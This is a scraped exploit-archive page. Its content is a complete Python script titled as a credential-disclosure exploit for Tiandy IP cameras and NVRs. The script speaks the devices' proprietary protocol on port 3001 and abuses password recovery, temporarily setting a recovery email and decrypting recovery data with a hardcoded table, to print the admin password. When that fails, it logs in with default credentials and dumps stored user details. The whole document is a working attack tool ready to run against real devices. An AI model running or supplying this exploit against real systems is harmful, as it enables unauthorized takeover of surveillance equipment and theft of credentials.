扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 |
# Exploit Title: Tiandy IPC and NVR 9.12.7 - Credential Disclosure # Date: 2020-09-10 # Exploit Author: zb3 # Vendor Homepage: http://en.tiandy.com # Product Link: http://en.tiandy.com/index.php?s=/home/product/index/category/products.html # Software Link: http://en.tiandy.com/index.php?s=/home/article/lists/category/188.html # Version: DVRS_V9.12.7, DVRS_V11.7.4, NVSS_V13.6.1, NVSS_V22.1.0 # Tested on: Linux # CVE: N/A # Requires Python 3 and PyCrypto # For more details and information on how to escalate this further, see: # https://github.com/zb3/tiandy-research import sys import hashlib import base64 import socket import struct from Crypto.Cipher import DES def main(): if len(sys.argv) != 2: print('python3 %s [host]' % sys.argv[0], file=sys.stderr) exit(1) host = sys.argv[1] conn = Channel(host) conn.connect() crypt_key = conn.get_crypt_key(65536) attempts = 2 tried_to_set_mail = False ok = False while attempts > 0: attempts -= 1 code = get_psw_code(conn) if code == False: # psw not supported break elif code == None: if not tried_to_set_mail: print("No PSW data found, we'll try to set it...", file=sys.stderr) tried_to_set_mail = True if try_set_mail(conn, 'a@a.a'): code = get_psw_code(conn) if code == None: print("couldn't set mail", file=sys.stderr) break rcode, password = recover_with_code(conn, code, crypt_key) if rcode == 5: print('The device is locked, try again later.', file=sys.stderr) break if rcode == 0: print('Admin', password) ok = True break if tried_to_set_mail: try_set_mail(conn, '') if not code: print("PSW is not supported, trying default credentials...", file=sys.stderr) credentials = recover_with_default(conn, crypt_key) if credentials: user, pw = credentials print(user, pw) ok = True if not ok: print('Recovery failed', file=sys.stderr) exit(1) def try_set_mail(conn, target): conn.send_msg(['PROXY', 'USER', 'RESERVEPHONE', '2', '1', target, 'FILETRANSPORT']) resp = conn.recv_msg() return resp[4:7] == ['RESERVEPHONE', '2', '1'] def get_psw_code(conn): conn.send_msg(['IP', 'USER', 'LOGON', base64.b64encode(b'Admin').decode(), base64.b64encode(b'Admin').decode(), '', '65536', 'UTF-8', '0', '1']) resp = conn.recv_msg() if resp[4] != 'FINDPSW': return False psw_reg = psw_data = None if len(resp) > 7: psw_reg = resp[6] psw_data = resp[7] if not psw_data: return None psw_type = int(resp[5]) if psw_type not in (1, 2, 3): raise Exception('unsupported psw type: '+str(psw_type)) if psw_type == 3: psw_data = psw_data.split('"')[3] if psw_type == 1: psw_data = psw_data.split(':')[1] psw_key = psw_reg[:0x1f] elif psw_type in (2, 3): psw_key = psw_reg[:4].lower() psw_code = td_decrypt(psw_data.encode(), psw_key.encode()) code = hashlib.md5(psw_code).hexdigest()[24:] return code def recover_with_code(conn, code, crypt_key): conn.send_msg(['IP', 'USER', 'SECURITYCODE', code, 'FILETRANSPORT']) resp = conn.recv_msg() rcode = int(resp[6]) if rcode == 0: return rcode, decode(resp[8].encode(), crypt_key).decode() return rcode, None def recover_with_default(conn, crypt_key): res = conn.login_with_key(b'Default', b'Default', crypt_key) if not res: return False while True: msg = conn.recv_msg() if msg[1:5] == ['IP', 'INNER', 'SUPER', 'GETUSERINFO']: return decode(msg[6].encode(), crypt_key).decode(), decode(msg[7].encode(), crypt_key).decode() ### ### lib/des.py ### def reverse_bits(data): return bytes([(b * 0x0202020202 & 0x010884422010) % 0x3ff for b in data]) def pad(data): if len(data) % 8: padlen = 8 - (len(data) % 8) data = data + b'\x00' * (padlen-1) + bytes([padlen]) return data def unpad(data): padlen = data[-1] if 0 < padlen <= 8 and data[-padlen:-1] == b'\x00'*(padlen-1): data = data[:-padlen] return data def encrypt(data, key): cipher = DES.new(reverse_bits(key), 1) return reverse_bits(cipher.encrypt(reverse_bits(pad(data)))) def decrypt(data, key): cipher = DES.new(reverse_bits(key), 1) return unpad(reverse_bits(cipher.decrypt(reverse_bits(data)))) def encode(data, key): return base64.b64encode(encrypt(data, key)) def decode(data, key): return decrypt(base64.b64decode(data), key) ### ### lib/binproto.py ### def recvall(s, l): buf = b'' while len(buf) < l: nbuf = s.recv(l - len(buf)) if not nbuf: break buf += nbuf return buf class Channel: def __init__(self, ip, port=3001): self.ip = ip self.ip_bytes = socket.inet_aton(ip)[::-1] self.port = port self.msg_seq = 0 self.data_seq = 0 self.msg_queue = [] def fileno(self): return self.socket.fileno() def connect(self): self.socket = socket.socket() self.socket.connect((self.ip, self.port)) def reconnect(self): self.socket.close() self.connect() def send_cmd(self, data): self.socket.sendall(b'\xf1\xf5\xea\xf5' + struct.pack('<HH8xI', self.msg_seq, len(data) + 20, len(data)) + data) self.msg_seq += 1 def send_data(self, stream_type, data): self.socket.sendall(struct.pack('<4sI4sHHI', b'\xf1\xf5\xea\xf9', self.data_seq, self.ip_bytes, 0, len(data) + 20, stream_type) + data) self.data_seq += 1 def recv(self): hdr = recvall(self.socket, 20) if hdr[:4] == b'\xf1\xf5\xea\xf9': lsize, stream_type = struct.unpack('<14xHI', hdr) data = recvall(self.socket, lsize - 20) if data[:4] != b'NVS\x00': print(data[:4], b'NVS\x00') raise Exception('invalid data header') return None, [stream_type, data[8:]] elif hdr[:4] == b'\xf1\xf5\xea\xf5': lsize, dsize = struct.unpack('<6xH10xH', hdr) if lsize != dsize + 20: raise Exception('size mismatch') msgs = [] for msg in recvall(self.socket, dsize).decode().strip().split('\n\n\n'): msg = msg.split('\t') if '.' not in msg[0]: msg = [self.ip] + msg msgs.append(msg) return msgs, None else: raise Exception('invalid packet magic: ' + hdr[:4].hex()) def recv_msg(self): if len(self.msg_queue): ret = self.msg_queue[0] self.msg_queue = self.msg_queue[1:] return ret msgs, _ = self.recv() if len(msgs) > 1: self.msg_queue.extend(msgs[1:]) return msgs[0] def send_msg(self, msg): self.send_cmd((self.ip+'\t'+'\t'.join(msg)+'\n\n\n').encode()) def get_crypt_key(self, mode=1, uname=b'Admin', pw=b'Admin'): self.send_msg(['IP', 'USER', 'LOGON', base64.b64encode(uname).decode(), base64.b64encode(pw).decode(), '', str(mode), 'UTF-8', '805306367', '1']) resp = self.recv_msg() if resp[4:6] != ['LOGONFAILED', '3']: print(resp) raise Exception('unrecognized login response') crypt_key = base64.b64decode(resp[8]) return crypt_key def login_with_key(self, uname, pw, crypt_key): self.reconnect() hashed_uname = base64.b64encode(hashlib.md5(uname.lower()+crypt_key).digest()) hashed_pw = base64.b64encode(hashlib.md5(pw+crypt_key).digest()) self.send_msg(['IP', 'USER', 'LOGON', hashed_uname.decode(), hashed_pw.decode(), '', '1', 'UTF-8', '1', '1']) resp = self.recv_msg() if resp[4] == 'LOGONFAILED': return False self.msg_queue = [resp] + self.msg_queue return True def login(self, uname, pw): crypt_key = self.get_crypt_key(1, uname, pw) if not self.login_with_key(uname, pw, crypt_key): return False return crypt_key ### ### lib/crypt.py ### pat = b'abcdefghijklmnopqrstuvwxyz0123456789' def td_asctonum(code): if code in b'ABCDEFGHIJKLMNOPQRSTUVWXYZ': code += 0x20 if code not in pat: return None return pat.index(code) def td_numtoasc(code): if code < 36: return pat[code] return None gword = [ b'SjiW8JO7mH65awR3B4kTZeU90N1szIMrF2PC', b'04A1EF7rCH3fYl9UngKRcObJD6ve8W5jdTta', b'brU5XqY02ZcA3ygE6lf74BIG9LF8PzOHmTaC', b'2I1vF5NMYd0L68aQrp7gTwc4RP9kniJyfuCH', b'136HjBIPWzXCY9VMQa7JRiT4kKv2FGS5s8Lt', b'Hwrhs0Y1Ic3Eq25a6t8Z7TQXVMgdePuxCNzJ', b'WAmkt3RCZM829P4g1hanBluw6eVGSf7E05oX', b'dMxreKZ35tRQg8E02UNTaoI76wGSvVh9Wmc1', b'i20mzKraY74A6qR9QM8H3ecUkBlpJC1nyFSZ', b'XCAUP6H37toQWSgsNanf0j21VKu9T4EqyGd5', b'dFZPb9B6z1TavMUmXQHk7x402oEhKJD58pyG', b'rg8V3snTAX6xjuoCYf519BzWRtcMl2OiZNeI', b'dZe620lr8JW4iFhNj3K1x59Una7PXsLGvSmB', b'5yaQlGSArNzek6MXZ1BPOE3xV470h9KvgYmb', b'f12CVxeQ56YWd7OTXDtlnPqugjJikELayvMs', b'9Qoa5XkM6iIrR7u8tNZgSpbdDUWvwH21Kyzh', b'AqGWke65Y2ufVgljEhMHJL01D8Zptvcw7CxX', b't960P2inR8qEVmAUsDZIpH5wzSXJ43ob1kGW', b'4l6SAi2KhveRHVN5JGcmx9jOC3afB7wF0ITq', b'tEOp6Xo87QzPbn24J3i9FjWKS1lIBVaMZeHU', b'zx27DH915lhs04aMJOgf6Z3pyERrGndiLwIe', b'8XxOBzZ02hUWDQfvL471q9RC6sAaJVFuTMdG', b'jON0i4C6Z3K97DkbqSypH8lRmx5o2eIwXas1', b'OIGT0ubwH1x6hCvEgBn274A5Q8K9e3YyzWlm', b'zgejY41CLwRNabovBUP2Aql7FVM8uEDXZQ0c', b'Z2MpQE91gdRLYJ8bGIWyOfc4v03Hjzs6VlU5', b't6PuvrBXeoHk5FJW08DYQSI49GCwZ27cA1UK', b'FiBA53IMW97kYNz82GhHf1yUCdL0nlvRD46s', b'2Vz3b06h54jmc7a8AIYtNHM1iQU9wBXWyJkR', b'wyI42azocV3UOX6fk579hMH8eEGJsgFuBmqb', b'TxmnK4ljJ9iroY8vVtg3Rae2L516fBWUuXAS', b'z6Y1bPrJEln0uWeLKkjo9IZ2y7ROcFHqBm54', b'x064LFB39TsXeryqvt2pZN8QIERuWAVUmwjJ', b'76qg85yB31uH90YbZofsjKrRGiTVndAEtFMx', b'WjwTEbCA752kq89shcaLB1xO64rgMYnoFiJQ', b'u6307O4J2DeZs8UYyjlzfX91KGmavEdwTRSg' ] def td_decrypt(data, key): kdx = 0 ret = [] for idx, code in enumerate(data): while True: if kdx >= len(key): kdx = 0 kcode = key[kdx] knum = td_asctonum(kcode) if knum is None: kdx += 1 continue break if code not in gword[knum]: return None cpos = gword[knum].index(code) ret.append(td_numtoasc(cpos)) kdx += 1 return bytes(ret) if __name__ == '__main__': main() |
体验盒子
